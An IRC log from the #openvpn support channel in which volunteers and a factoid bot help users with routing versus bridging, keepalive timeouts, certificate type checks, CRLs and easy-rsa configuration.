17:12 < EugeneKay> !whybridge
17:12 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
17:12 < Riiiis> wow, too much info
17:12 < EugeneKay> !read
17:12 <@vpnHelper> "read" is <krzee> ive been known to overreact when people look for 2 minutes and ask me to explain it to them
17:12 < EugeneKay> ;-)
17:13 < Riiiis> hehe
17:19 < Riiiis> if in a routed setup, can a windows client connect to windows shares on the server and on other machines on the servers lan?
17:19 -!- MattJ [~matthew@82.152.33.17] has quit [Ping timeout: 246 seconds]
17:20 < EugeneKay> Sure.
17:20 < EugeneKay> !wins
17:20 <@vpnHelper> "wins" is http://oreilly.com/catalog/samba/chapter/book/ch07_03.html is a good link for seeing how to run WINS on samba
17:20 < EugeneKay> Use IPs directly(or DNS host names), or set up WINS to do it without that.
17:21 < Riiiis> ok the other link said something about broadcasts not being carried across routes.. ( I don't know what windows shares use..)
17:21 < EugeneKay> Windows uses a couple mechanisms; broadcasts are the simplest(and chattiest/worst)
17:22 < EugeneKay> It will also attempt to resolve via Active Directory, DNS and WINS
17:24 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 248 seconds]
17:26 <+pekster> There's no reason to rely on NBNS or WINS; use DNS like it was intended
17:27 <+pekster> With easy tools like dnsmasq to do that for you with almost no work required (like knowing how to run a DNS zonefile or do dynamic DNS updates) there's very little reason to try and avoid it
17:30 <+rob0> and Samba's WINS support doesn't really work without DNS anyway
17:31 <+rob0> (that's what it is: getting WINS request, lookup name in DNS, return result to WINS client.)
17:38 -!- mattock is now known as mattock_afk
17:43 -!- APTX_ [APTX@unaffiliated/aptx] has quit [Ping timeout: 245 seconds]
17:47 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
17:57 < Riiiis> Yes, something works :-) one question though: in the bottom of this: http://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html under: Allow client to reach entire server subnet it says: add a route to the server's LAN gateway that routes 10.8.0.2 to the OpenVPN server machine
17:57 <@vpnHelper> Title: Static Key Mini-HOWTO (at openvpn.net)
17:57 < Riiiis> how do i do that?
17:58 < Riiiis> where should that route be set up? on the lan router?
18:06 -!- diffen3 [~diffen@c-077ae555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Quit: This computer has gone to sleep]
18:08 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:08 -!- MattJ [~matthew@82.152.33.17] has joined #openvpn
18:14 -!- mapps [~Mark@94-193-78-219.zone7.bethere.co.uk] has joined #openvpn
18:18 -!- kiyor_ [~kiyor@12.13.90.183] has quit [Remote host closed the connection]
18:18 -!- kiyor [~kiyor@ec2-54-238-54-78.ap-northeast-1.compute.amazonaws.com] has joined #openvpn
18:19 -!- kiyor_ [~kiyor@12.13.90.183] has joined #openvpn
18:22 -!- kiyor [~kiyor@ec2-54-238-54-78.ap-northeast-1.compute.amazonaws.com] has quit [Ping timeout: 240 seconds]
19:05 -!- elfixit [~Icedove@82.197.179.16] has quit [Quit: elfixit]
19:10 < tharkun> Some isp assigned a remote office the same local subnetwork as the central office. Is there a workaround for this or I'm condemed to do the 2 hour drive?
19:25 -!- MattJ [~matthew@82.152.33.17] has quit [Ping timeout: 252 seconds]
19:32 -!- kiyor_ [~kiyor@12.13.90.183] has quit [Quit: Linkinus - http://linkinus.com]
19:32 < Cubox> !slow
19:32 < Cubox> !help
19:32 <@vpnHelper> (help [<plugin>] [<command>]) -- This command gives a useful description of what <command> does. <plugin> is only necessary if the command is in more than one plugin.
19:32 < Cubox> !helps
19:32 < Cubox> ...
19:32 < Cubox> !welcome
19:32 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
19:33 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
19:33 < Cubox> !interface
19:33 <@vpnHelper> "interface" is (#1) paste interface configuration from both client and server, while being disconnected and when beeing connected. Be sure to also add the routing tables for both situations from client and from server or (#2) For Windows: iface: 'ipconfig /all' routing: 'route print' (add -4 or -6 for just IPv4 or v6) or (#3) For Unix: iface: 'ifconfig -a' routing: 'netstat -rn' or (#4) For Linux:
19:33 <@vpnHelper> iface: 'ip a' routing: 'ip r' (use ip -6 for IPv6 routes)
19:34 < Cubox> !idonthetaclue
19:39 -!- MariusIT [~MariusIT@86.124.68.46] has quit [Ping timeout: 248 seconds]
19:40 -!- Cubox [cubox@unaffiliated/cubox] has quit [Quit: WeeChat 0.4.2-rc2]
19:45 -!- Cubox [cubox@unaffiliated/cubox] has joined #openvpn
19:50 -!- raidz is now known as raidz_away
19:55 <+rob0> tharkun, how does your ISP control your local subnetwork?
19:55 <+rob0> Maybe you can use NAT to get to what you absolutely need
19:56 < tharkun> The adsl or whatever device they plugged does the dhcp and the built in switch is big enough to hold the office
19:56 <+rob0> oh yuck
19:57 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has quit [Quit: barhom]
19:57 < tharkun> rob0: Nice idea but I hate early morning "The network is down" calls
19:57 <+rob0> so you can't NAT because you don't control the router
19:57 <+rob0> bon voyage :)
19:57 < tharkun> Merci :)
19:57 <+rob0> maybe ssh in from a sandbox with a different route table
19:58 <+rob0> i.e., you can't route to your own LAN from the sandbox
19:58 < tharkun> Nice Idea I'll send a postcard. :)
19:59 <+rob0> awesome!
20:00 < Cubox> hey! My openvpn connection restart with a --ping-timeout after exactly 60 seconds... I don't know why but the connection stop after some time...
20:01 < Cubox> oops, it's --ping-restart
20:02 < toothe> how do I configure openvpn as a client? just openvpn ./client.conf ?
20:02 < Cubox> after EXACLTY 60 seconds the connection stop...
20:03 < Cubox> (a ping from client to server)
20:03 < Cubox> nothing in client log, apart a Oct 02 03:03:13: [Dragonborn] Inactivity timeout (--ping-restart), restarting
20:04 <+pekster> Cubox: You're using --ping-restart and the peer didn't get a --ping control packet from the remote end in the defined timeout period (60 seconds in your case)
20:05 <+pekster> Either packets are getting lost after the connection comes up, or you don't have the remote side with --ping enabled
20:06 < Cubox> I have keepalive
20:06 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has joined #openvpn
20:07 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has quit [Client Quit]
20:07 < Cubox> keepalive 5 10 on server
20:07 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has joined #openvpn
20:08 < Cubox> pekster: the packets might get lost...
20:12 -!- Roklobsta [~Roklobsta@ppp118-209-54-68.lns20.mel4.internode.on.net] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
20:12 < Cubox> pekster: do you want my config?
20:21 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
20:21 -!- michaelhart [~michaelha@162.209.54.120] has quit [Quit: michaelhart]
20:23 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
20:25 -!- mchou_ [~quassel@c-76-21-85-110.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
20:49 <+rob0> pekster, regarding "the other channel", what do you think? /msg is fine if you prefer.
20:55 <+pekster> I gave up after circular reasoning there; over 30 minutes and no description of the tools involved, but apparently there's new progress now that the super-secret tools have been revealed ;)
20:56 <+pekster> Seems to be one of those days
20:58 -!- dradec [~d@unaffiliated/dradec] has quit [Quit: Disconnected from chain!]
21:16 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 240 seconds]
21:18 -!- dradec [~d@unaffiliated/dradec] has joined #openvpn
21:19 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:40 < toothe> so, I setup a simple VPN connection and my client gets assigned an IP, but I can't seem to get a ping working.
21:41 <+pekster> Cubox: With `--keepalive 5 10` the client will terminate after 10 seconds of no pings, not 60. Maybe your client isn't using --pull (note that --client implies this)
21:44 < toothe> wow, I have to run openvpn as root...
21:44 < toothe> didn't see that coming.
21:47 -!- Devastator_ [~devas@186.214.110.201] has quit [Changing host]
21:47 -!- Devastator_ [~devas@unaffiliated/devastator] has joined #openvpn
21:47 -!- Devastator_ is now known as Devastator
21:58 <@ecrist> toothe: openvpn makes changes to the routing table.  that requires root
22:00 <+pekster> If you really wish to avoid running openvpn as root you can add routes with a custom external script that takes action using sudo or is setuid, for instance. Otherwise you can review the option to drop root privs (and the assocoated drawbacks) with the --user & --group options. See also: --chroot
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:03 < toothe> ecrist: Actually, I was having trouble on the Windows client :-)
22:03 < toothe> wasn't logged in as admin.
22:04 <@ecrist> root/Administrator, same thing
22:14 < toothe> true dat
23:11 -!- nebulta [~TNEB@172.15.22.189] has joined #openvpn
23:12 < nebulta> !welcome
23:12 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
23:12 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
23:12 < nebulta> !howto
23:12 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
23:23 < nebulta> !configs
23:23 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
23:44 -!- esde [~esde@162.218.209.203] has quit [Remote host closed the connection]
23:45 -!- ex0a [~high@unaffiliated/ex0a] has quit [Remote host closed the connection]
23:49 -!- ex0a [~high@unaffiliated/ex0a] has joined #openvpn
23:55 -!- surfmasta [~surfmasta@80.92.88.10] has quit [Read error: Operation timed out]
--- Day changed Wed Oct 02 2013
00:09 -!- surfmasta [~surfmasta@80.92.88.10] has joined #openvpn
00:35 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:56 -!- agagaa [~agagaa@p12098.static.kfki.com] has joined #openvpn
01:02 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn
01:07 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
01:22 -!- agagaa_ [~agagaa@p15062.static.kfki.com] has joined #openvpn
01:25 -!- agagaa [~agagaa@p12098.static.kfki.com] has quit [Ping timeout: 240 seconds]
01:31 -!- agagaa_ [~agagaa@p15062.static.kfki.com] has quit []
01:33 -!- MeanderingCode [~Meanderin@192.241.150.232] has quit [Ping timeout: 240 seconds]
01:35 -!- MeanderingCode [~Meanderin@192.241.150.232] has joined #openvpn
01:43 -!- diffen3 [~diffen@c-077ae555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
01:56 -!- lbft [~lbft@unaffiliated/lbft] has quit [Ping timeout: 248 seconds]
02:00 -!- lbft [~lbft@unaffiliated/lbft] has joined #openvpn
02:02 -!- uuuppz [uuuppz@78.129.207.46] has quit [Read error: Operation timed out]
02:06 -!- uuuppz [uuuppz@78.129.207.46] has joined #openvpn
02:31 -!- kunago [~Thunderbi@94.142.239.176] has joined #openvpn
02:35 < kunago> Hi. I have an OpenVPN network with 5 subnetworks. "client-to-client" is disabled and the connection is secured by iptables. My computer is allowed to access any computer on network. Recently I seem to be experiencing some issues. One machine is accessible on "traceroute" but I cannot ping it or reach it unless I do the traceroute first. I have tried quite a few things but simply cannot make the machine to grab the routing information from the router/gate
03:02 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
03:06 -!- kunago [~Thunderbi@94.142.239.176] has quit [Quit: kunago]
03:07 -!- mattock_afk is now known as mattock
03:14 -!- diffen3 [~diffen@c-077ae555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Quit: This computer has gone to sleep]
03:35 -!- mirco [~mirco@p50800F14.dip0.t-ipconnect.de] has joined #openvpn
03:49 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
03:59 -!- loci [~loci@62.159.77.167] has joined #openvpn
04:05 < loci> Hi! I'm willing to use dhclient to retrieve and release IP over a tap tunnel. dhcp requests works fine called from up sript, but down-pre down combination can't generate a dhcp release as immediately when openvpn receives SIGINT (Ctrl+C as openvpn is started from cmdline) traffic is not going through the tunnel.
04:06 < loci> I tested this by continously arpining through the tunnel and putting a sleep into the down script. Once down script was called and sleep started arps non longer arrived to the other end.
04:07 < loci> Question: is this how it should work, or shall I file a bug report? Is there any known workaround?
04:14 -!- kunago [~Thunderbi@94.142.239.176] has joined #openvpn
04:17 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 240 seconds]
04:23 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
04:28 -!- barhom [~barhom@c-1c9472d5.035-45-73746f3.cust.bredbandsbolaget.se] has joined #openvpn
04:39 -!- Laverne [~Laverne@devilsown.net] has joined #openvpn
04:50 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
04:53 -!- p3rror [~p3rror@41.249.253.52] has joined #openvpn
05:03 -!- loci [~loci@62.159.77.167] has quit [Read error: Connection reset by peer]
05:04 -!- p3rror [~p3rror@41.249.253.52] has quit [Read error: Connection reset by peer]
05:14 -!- MattJ [~matthew@82.152.33.17] has joined #openvpn
05:32 -!- nobit [nobit@unaffiliated/muska] has quit [Ping timeout: 240 seconds]
05:33 -!- nobit [nobit@unaffiliated/muska] has joined #openvpn
06:07 -!- MariusIT [~MariusIT@86.124.68.46] has joined #openvpn
06:13 -!- cian1500ww [~cian@unaffiliated/cian1500ww] has joined #openvpn
06:16 < cian1500ww> Hi, is it possible to not set the default gateway on clients to the OpenVPN server when using server bridging?
06:27 -!- caelian1 is now known as caelian
06:32 -!- mirco [~mirco@p50800F14.dip0.t-ipconnect.de] has quit [Quit: mirco]
06:38 -!- Roklobsta [~Roklobsta@ppp118-209-54-68.lns20.mel4.internode.on.net] has joined #openvpn
06:48 -!- Guest75680 [~info@dev.gentooexperimental.org] has quit [Quit: leaving]
06:57 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
07:04 -!- C-S-B [~C-S-B@host86-162-206-115.range86-162.btcentralplus.com] has quit [Ping timeout: 256 seconds]
07:07 -!- mikkel_ [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
07:09 <@krzee> cian1500ww,
07:09 <@krzee> !whybridge
07:09 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
07:10 -!- C-S-B [~C-S-B@host86-173-99-181.range86-173.btcentralplus.com] has joined #openvpn
07:10 <@krzee> cian1500ww, is bridging really the right choice for you?  what layer2 protocol do you need to go to the lan behind your server?
07:21 -!- esde [~esde@162.218.209.203] has joined #openvpn
07:21 -!- esde [~esde@162.218.209.203] has quit [Changing host]
07:21 -!- esde [~esde@unaffiliated/esde] has joined #openvpn
07:34 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
07:35 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:38 -!- goldkatze_ [~nobody@unaffiliated/goldkatze] has joined #openvpn
07:38 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Read error: Operation timed out]
07:51 -!- takamich_ [~takamichi@217.23.15.212] has joined #openvpn
07:52 < cian1500ww> krzee: I've inherited this VPN set up so I'm not aware of any specific requirement for using bridging. I'm guessing it may have been for accessing network shares. Is the issue I'm having an intended side-effect of using bridging?
07:52 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 252 seconds]
07:52 <@krzee> its not for network shares, that operates on layer3
07:53 <@krzee> if you were on tun i could easily help with a redirect issue, with bridging i cannot
07:53 <@krzee> im sure it can be done, but since bridging is very rarely the right answer i dont bother playing with it so i cant help
07:56 -!- Ahrotahntee [~rhjones@unaffiliated/ahrotahntee] has joined #openvpn
07:56 < Ahrotahntee> !welcome
07:56 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample
07:56 <@vpnHelper> !forum !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:56 < Ahrotahntee> !howto
07:56 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
07:57 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
08:01 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
08:05 -!- michaelhart [~michaelha@162.209.1.130] has joined #openvpn
08:08 -!- elfixit [~Icedove@82.197.179.16] has joined #openvpn
08:12 < cian1500ww> krzee: I agree, I'm going to experiment with routing to see if it's suitable. With routing, is the default gateway set to the VPN server by default or does it need to be explicitly defined?
08:13 <@krzee> !redirect
08:13 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
08:13 <@vpnHelper> http://ircpimps.org/redirect.png | http://pekster.sdf.org/misc/redirect.png
08:13 < cian1500ww> !pushdns
08:13 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
08:13 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
08:26 -!- xrosnight [~quassel@61.144.205.61] has joined #openvpn
08:26 -!- kunago [~Thunderbi@94.142.239.176] has left #openvpn []
08:29 -!- takamich_ [~takamichi@217.23.15.212] has quit [Ping timeout: 252 seconds]
08:32 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has quit [Ping timeout: 245 seconds]
08:32 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:32 -!- ptman [ptman@pusta.ptman.name] has joined #openvpn
08:34 < ptman> hi!
08:34 < ptman> can the ns-cert-type check be somehow disabled?
08:35 -!- lupine [~lupine@unaffiliated/lupine-85/x-7392152] has joined #openvpn
08:35 < ptman> I'm setting up the remote maintenance connections for a sizable network and I'd like for one server to act as a client to one vpn but also serve as server for other clients
08:35 < ptman> and it's a pain in the ass to deploy several certificates
08:36 < ptman> we could use just one, but I get failures trying to connect as a client with a server certificate
08:36 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
08:37 <+pekster> ptman: So remove the check? Really you should sign the cert as *both* a client and server if you want to do that so you can still use the check
08:37 <+pekster> Though you will want to be a little more careful how you define it; try to avoid ns-cert-type since it's deprecated. I'd recommend using the EKU field
08:37 < ptman> I don't have the client cert requirement specified in the server config
08:38 <+pekster> Then what's it matter? Sign the "dual-use" cert as a server and it'll work fine
08:38 < ptman> ok, I'll try that
08:38 < ptman> when did EKU support land in OpenVPN?
08:39 < ptman> I'm using whatever is shipped with ubuntu precise
08:39 <+pekster> Since quite a while back (at least 2.1.x IIRC)
08:39 < ptman> good, then it should work, thanks
08:39 <+pekster> 2.2.something is in ubuntu, though that's still somewhat old by upstream standards
08:41 <+pekster> --remote-cert-tls is the more strict requirement, but I personally recommend the use of something like --remote-cert-eku "TLS Web Server Authentication" on your clients
08:41 <+pekster> Then simply ensure you sign them accordingly
08:41 -!- Roklobsta [~Roklobsta@ppp118-209-54-68.lns20.mel4.internode.on.net] has quit [Ping timeout: 252 seconds]
08:41 < ptman> and easyrsa does that? or do I have to roll my own?
08:41 <+pekster> Yup, so long as you sign the cert as a server cert
08:42 -!- elfixit [~Icedove@82.197.179.16] has quit [Quit: elfixit]
08:42 <+pekster> If you want one signed with "both" TLS client and server, that won't work out of the box (you'd need to modify the config a bit)
08:43 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:43 <@krzee> remote-cert-tls is no more "strict" than ns-cert-type, it simply follows the accepted standard. they are equally strict, as would be any random thing added to the cert before it was signed and verified upon connection.
08:44 <+pekster> It's more strict cocmpared to the other option I just demonstrated
08:45 <+pekster> And no, you ned very specific KU in *Addition* to the aforementioned EKU which is implied when you use --remote-cert-tls
08:45 <+pekster> It the KU bits are not exactly 0xA088 then the cert will fail validation, even if it has the EKU field (thus "more strict" is quite accurate)
08:46 <@krzee> ptman, i would make separate certs for that machine, a client cert and a server cert
08:46 <@krzee> seeing as you need separate configs anyways, that should be fine.
08:46 <+pekster> (let's all let the "Netscape" stuff die. It's deprecated, and Netscape Navigator is silly)
08:47 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
08:47 < ptman> hmm...
08:48 < ptman> krzee, there's going to be a bunch of them
08:48 < ptman> but maybe I should
08:48 < ptman> we'll see
08:49 <@krzee> when i build darknets, thats what i do
08:50 <@krzee> pekster, i agree we can let it die, but that does not make it any stronger or stricter cryptographically
08:51 <+pekster> Strict as in "if you fail to set your cert with these *EXACT* flags, stuff breaks"
08:51 <+pekster> The *check* is what I'm referring to, obviously
08:52 < ptman> darknets meaning what exactly in this case?
08:52 <+pekster> The MITM protection is no less impacted and the flexibility is far greater since you don't have to mess with certs taht can't possibly match *both* 0xA088 *AND* 0x8008
08:52 <+pekster> With our thinking caps on, we can figure out that EKU could be set to both, yet the explicit flags cannot be both of the aforementioned hex strings. Questions?
08:53 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
08:55 <@krzee> either you put flag X into the signed cert or not, as long as the check matches the added flag then its equally strict / secure
08:56 <+pekster> I'm not referring to the security of the impleneation. Are you really being this pandantic? The strictness is in the check. Let's say I omit a particular KU but leave the relevant EKU; --remote-cert-tls will fail, but --remote-cert-eku will succeed. The former is too strict for the "special cert" in this hypothetical situation, yet equally secure when used with --remote-cert-eku
08:58 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has quit [Ping timeout: 240 seconds]
08:58 <+pekster> Manpage surely demonstrates this
08:59 -!- takamichi [~takamichi@c122-219.i07-31.onvol.net] has joined #openvpn
09:00 <+pekster> ptman: FUD aside this morning, you're better off with unique certs so you can f.ex revoke the server or client issued cert while leaving the other one functional after CRL-distribution (you give up this power with one cert.) This said, simply use a flag you can "dual-set" if you want such a dual-use cert; find the right solution for your needs
09:00 < ptman> thanks
09:01 < ptman> btw, is the only was to distribute CRLs to really make sure that each client and server has the CRL file, or is there some otherway (OCSP?)
09:02 <+pekster> You can use the traditional 'openssl cert dir' that can include CRLs, but that has a very specific set of naming requirements. Otherwise there's the --tls-verify script that could do an external OCSP check if you'd like (that's not part of OpenVPN though)
09:04 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has quit [Ping timeout: 260 seconds]
09:04 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has quit [Ping timeout: 245 seconds]
09:06 -!- elfixit [~Icedove@82.197.179.16] has joined #openvpn
09:06 -!- ScriptFanix [vincent@Hanaman.riquer.fr] has joined #openvpn
09:07 <+pekster> It's usually easier to automate retrival of a CRL and if you want to be extra-strict (or perhaps thorough, complete, careful, or any other verb that is not directly related to cryptographic security of the implemenatation!) you can set an upper-bound on how long you use a "stale" CRL for
09:08 -!- xrosnight [~quassel@61.144.205.61] has quit [Changing host]
09:08 -!- xrosnight [~quassel@unaffiliated/xrosnight] has joined #openvpn
09:09 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
09:12 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
09:35 -!- Denial [Denial@05417302.skybroadband.com] has quit [Read error: Connection reset by peer]
09:39 < Cubox> Hi... Any help on the issue where the server disconnect the client (with a keepalive 5 60) even when the client can ping the server?
09:40 -!- elfixit [~Icedove@82.197.179.16] has quit [Quit: elfixit]
09:42 -!- moparisthebest [~quassel@mailer.moparscape.org] has joined #openvpn
09:43 <+pekster> Cubox: --ping is not an ICMP echo-request; it's a special keepalive packet sent over the TLS control channel that both ends send in a uni-directional sense
09:43 <+pekster> Have configs available somewhere?
09:45 -!- Denial [Denial@05417302.skybroadband.com] has joined #openvpn
09:46 < Cubox> Yes, wait a second and i'll give you that
09:47 < Cubox> pekster: :) http://paste.placeholder.fr/show/461/
09:50 -!- VunKruz [~hhhh@2602:306:ccee:6740:203:25ff:fe4b:fc6c] has joined #openvpn
09:51 <+pekster> Looks fine; if the error is specifically a ping timeout message that means the server hasn't received a keepalive packet in 120 seconds from the client. You can use --verb 5 at each end if you want to watch packet read/writes across the link to see what is getting sent/received (or simply tcpdump the transport port over an idle connection)
09:57 < Cubox> the server don't show anything in the logs related to the ping timeout
09:57 <+pekster> Then the server is not "disconnecting" the client
09:58 < Cubox> the client is killing himself
09:59 <+pekster> Then it's the client that's failing to get the keepalive packet from the server (your original question stated the opposite.) Apply the same troubleshooting
10:01 < Cubox> client connecting: http://paste.placeholder.fr/show/462/
10:01 < Cubox> ok
10:01 < Cubox> So, just sniffing tun0
10:01 <+pekster> Not useful
10:02 <+pekster> keepalives are sent over the _TLS_ channel, thus are not data the tun device ever sees
10:02 -!- master_o1_master [~master_of@p4FD7B948.dip0.t-ipconnect.de] has joined #openvpn
10:02 <+pekster> And you will see other data there too since you're using --redirect-gateway
10:03 <+pekster> I suggest you get your tunnel working before you attempt to route over it
10:03 < Cubox> ok
10:03 < Cubox> anyway, I am testing on a host who is not trying to access internet
10:04 < Cubox> so, I just get my icmp packets... I will add --verb 5
10:04 <+pekster> What's ICMP got to do wtih it?
10:04 < Cubox> nothing
10:06 -!- master_of_master [~master_of@p4FF24724.dip0.t-ipconnect.de] has quit [Ping timeout: 248 seconds]
10:08 < Cubox> pekster: I enabled the option but I don't know where to look for getting logs... Ubuntu, I get logs usually on /var/log/syslog but here I don't get the --verb 5 informations.
10:08 <+pekster> !logfile
10:08 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
10:08 <+pekster> Consult your distro initscript if it's adding in extra options (like --daemon) or just log somewhere specific
10:09 < Cubox> thanks
10:17 < Cubox> ... Now that I enabled verb 5, I am unable to reproduce the issue.
10:19 -!- raidz_away is now known as raidz
10:22 -!- namidark [~namidark@192.34.61.38] has quit [Excess Flood]
10:23 -!- namidark [~namidark@192.34.61.38] has joined #openvpn
10:23 < Cubox> Ok, I'm off, I will contact you again pekster if the issue continue... Meanwhile, maybe you can help me with this bigger and stranger issue... All the informations are here http://serverfault.com/questions/542381/openvpn-forward-packets-very-slowly and I will buy a beer to the one who is willing to help me on that.
10:23 <@vpnHelper> Title: linux - Openvpn, forward packets very slowly - Server Fault (at serverfault.com)
10:31 -!- goldkatze_ is now known as goldkatze
10:32 -!- ccha [~ccha@unaffiliated/ccha] has joined #openvpn
10:32 < ccha> hello
10:33 < ccha> I got this message "The correct version should have a comment that says: easy-rsa version 2.x"
10:34 < ccha> I changed in vars export KEY_CONFIG="/etc/ssl/openssl.cnf"
10:35 <+pekster> You can't do that; easy-rsa is connected (via env-var and specific config) to the openssl.cnf file shipped with the package
10:35 <+pekster> Unless you are an expert in openssl configuration, don't change this file; if you are an expert, you can presumably handle the required support yourself
10:39 < ccha> # sudo find / -name openssl.cnf -print
10:39 < ccha> /usr/local/share/examples/openvpn/easy-rsa/1.0/openssl.cnf
10:39 < ccha> /etc/ssl/openssl.cnf
10:40 < ccha> there is no other openssl.cnf
10:40 <+pekster> Naturally, becuase it's named openssl-1.0.0.cnf in the easy-rsa distribution
10:41 <+pekster> (of which you should already know if you're mucking about with the vars file.) What are you trying to accomplish? Do you understand how easy-rsa expects to work with a custom openssl.cnf file for openvpn? Do you understand the relationship of the env-vars it sets and how openssl handles them in the configuration when signing certs?
10:42 <+pekster> You're free to make changes, but you're questions lead me to believe you don't really understand what it is you're doing; openssl is rather complicated, and the docs are somewhat scattered and limited, so it's not an easy task to set this up properly "on your own"
